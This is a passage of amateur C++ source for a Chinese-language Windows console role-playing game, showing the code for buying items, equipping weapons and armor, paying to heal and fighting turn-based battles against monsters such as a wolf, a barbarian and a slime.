                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了炸弹,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==4)
              {
                if(jb>=300)
                {
                tnt++;jb-=300;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了手雷,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                 Sleep(800);
                 goto zcd;
                 
    	      }
    	      if(p==5)
    	      {
    	      	  goto zcd;
    		  }
    		  
    		  
    		  
    		  
    		  
    		 
    		  
    		  
    		  ckbb:
    	      system("color 3F");
    	      SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
              FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
              FOREGROUND_BLUE);
               Sleep(100);
              cout<<"  ----------背包---------\n";
               Sleep(100);
              cout<<"  您有"<<jb<<"个金币  \n\n"; 
               Sleep(100);
              cout<<"  您有"<<sh<<"伤害(包括武器)  \n";
    		   Sleep(100);
    		  cout<<"  您有"<<sm<<"血量(包括防具)  \n\n";
    		  
               Sleep(100);
              cout<<"  您有"<<bs<<"个匕首(输入1装备,+2伤害)  \n";
               Sleep(100);                               
              cout<<"  您有"<<lj<<"个利剑(输入2装备,+3伤害)  \n"; 
               Sleep(100);                               
              cout<<"  您有"<<sj<<"个圣剑(输入3装备,+5伤害)  \n";
               Sleep(100);
              cout<<"  您有"<<emzr<<"个恶魔之刃(输入4装备,+7伤害)  \n";
               Sleep(100);
              cout<<"  您有"<<hyj<<"个火焰剑(输入5装备,+10伤害)  \n";
               Sleep(100);
              cout<<"  您有"<<jssj<<"个绝世圣剑(输入6装备,+20伤害)  \n\n";
              
               Sleep(100);
              cout<<"  您有"<<pgj<<"个皮革甲(输入7装备,+4防御)  \n"; 
               Sleep(100);
              cout<<"  您有"<<szj<<"个锁子甲(输入8装备,+6防御)  \n";
               Sleep(100);
              cout<<"  您有"<<hjj<<"个黄金甲(输入9装备,+10防御)  \n";
               Sleep(100);
              cout<<"  您有"<<zspf<<"个钻石披风(输入10装备,+14防御)  \n";
               Sleep(100);
              cout<<"  您有"<<hy<<"个火焰甲(输入11装备,+20防御)  \n";
               Sleep(100);
              cout<<"  您有"<<hfhzj<<"个火凤凰之甲(输入12装备,+40防御)  \n\n";
    		
               Sleep(100);
              cout<<"  您有"<<bd<<"个绷带(回复5血)  \n";
               Sleep(100);
              cout<<"  您有"<<ylb<<"个医疗包(回复10滴血)  \n";
               Sleep(100);
              cout<<"  您有"<<zd<<"个炸弹(造成8伤害)  \n";
               Sleep(100);
              cout<<"  您有"<<tnt<<"个手雷(造成15伤害)  \n\n";
              Sleep(100);
              cout<<"输入13,返回主菜单\n";
              system("color 3F");
              cin>>j;
              if(j==1)
              {
              	if(bs>=1)
              	{
              	sh=7;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n";
    			 Sleep(800);
    			goto zcd;
    		  }
              }
        
    			
    			  if(j==2)
              {
              	if(lj>=1)
              	{
              	sh=8;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==3)
              {
              	if(sj>=1)
              	{
              	sh=10;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==4)
              {
              	if(emzr>=1)
              	{
              	sh=12;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==5)
              {
              	if(hyj>=1)
              	{
              	sh=15;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n";
    			 Sleep(800);
    			goto zcd;
    		  }
              }
            
    	
    			
    			  if(j==6)
              {
              	if(jssj>=1)
              	{
              	sh=25;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    			
    			  if(j==7)
              {
              	if(pgj>=1)
              	{
              	sm=44;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==8)
              {
              	if(szj>=1)
              	{
              	sm=46;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==9)
              {
              	if(hjj>=1)
              	{
              	sm=50;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			
    			  if(j==10)
              {
              	if(zspf>=1)
              	{
              	sm=54;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    		
    			  if(j==11)
              {
              	if(hy>=1)
              	{
              	sm=60;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    			
    			  if(j==12)
              {
              	if(hfhzj>=1)
              	{
              	sm=80;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
              
              if(j==13)
              {
              		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto zcd;
    		  }
    		  
    		  
    		  
    		  
    		  
    		  hx:
    		  system("color 3F");
              SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
              FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
              FOREGROUND_GREEN);
               Sleep(400);
              cout<<"  ---------------介绍---------------  \n";
               Sleep(400);
              cout<<"  每次战斗后血量不会重置会一直保持,\n";
    		   Sleep(400);
              cout<<"  如果不回血的话一直战斗有可能会死,\n";
    			Sleep(400);
              cout<<"  死了掉落所有金币和所有武器和装备,\n";
               Sleep(400);
              cout<<"  以防万一您务必要花金币回血150金币,\n";
               Sleep(400);
              cout<<"  回完血后盔甲会自动掉落,请你重新装备盔甲\n";
               Sleep(400);
              cout<<"  请选择\n1.回满血  2.返回主菜单\n";
              cin>>j;
              
              if(j==1)
              {
              	if(jb>=150)
              	{
              	jb-=150;
              	system("color 3F");
              	sm=40;
              	Sleep(1000);
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
              	cout<<"正在回血中\n";
              	
    			Sleep(1000);
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
              	cout<<"  1  \n"; 
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
              	Sleep(1000);
              	cout<<"  2  \n";
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_RED|BACKGROUND_GREEN);
              	Sleep(1000);
              	cout<<"  3  \n";
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_RED|BACKGROUND_RED);
              	Sleep(1000);
              	cout<<"  4  \n";
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_RED|BACKGROUND_BLUE);
              	Sleep(1000);
              	cout<<"  5  \n";
              	
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_BLUE | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_RED|BACKGROUND_BLUE);
              	Sleep(1000);
              	cout<<"回血完毕\n";
              	Sleep(500);
              	goto zcd;
              
    			}
              	else
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
              	cout<<"金币不足,不能回血\n\n";
              	Sleep(700);
              	goto zcd;
    		  }
    		  
    		  if(j==2)
    		  {
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
            	goto zcd;
    		  }
              
              
              
              
            
              zd:
              system("color 3F");
    	      SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
              FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
              FOREGROUND_BLUE);	
              cout<<"                     战斗                      "<<endl;	
              cout<<"   1.大狼 2.野蛮人 3.史莱姆 4.巨人 5.森林巨人  "<<endl;	
              cout<<"   6.森林巨人王 7.深海巨龙 8.九头大蛇 9.三头龙 "<<endl;	
              cout<<"   注意:数字越大,越难打!!!               "<<endl;
    		  cout<<"   ---请你输入"<<endl;
    		  cin>>j;
    		  
    		  if(j==1)		  
    		  {
    		    dm=10;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,大狼\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=3;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了3点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    		}
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 (在第一关禁止使用手雷)\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                          if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                          if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
                   	
    			   }
    			   
    			     if(n==3)
                   {
                          if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
                   		
    			   }
    			   
    			   
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=20;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了20金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
    
              if(j==2)		  
    		  {
    		    dm=13;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,野蛮人\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=4;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了4点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    		}
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 (在第二关禁止使用手雷)\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   	  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    		
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=30;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了30金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		  
    		  
    		  
    		    if(j==3)		  
    		  {
    		    dm=16;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,史莱姆\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=6;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了6点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    		}
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   		 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
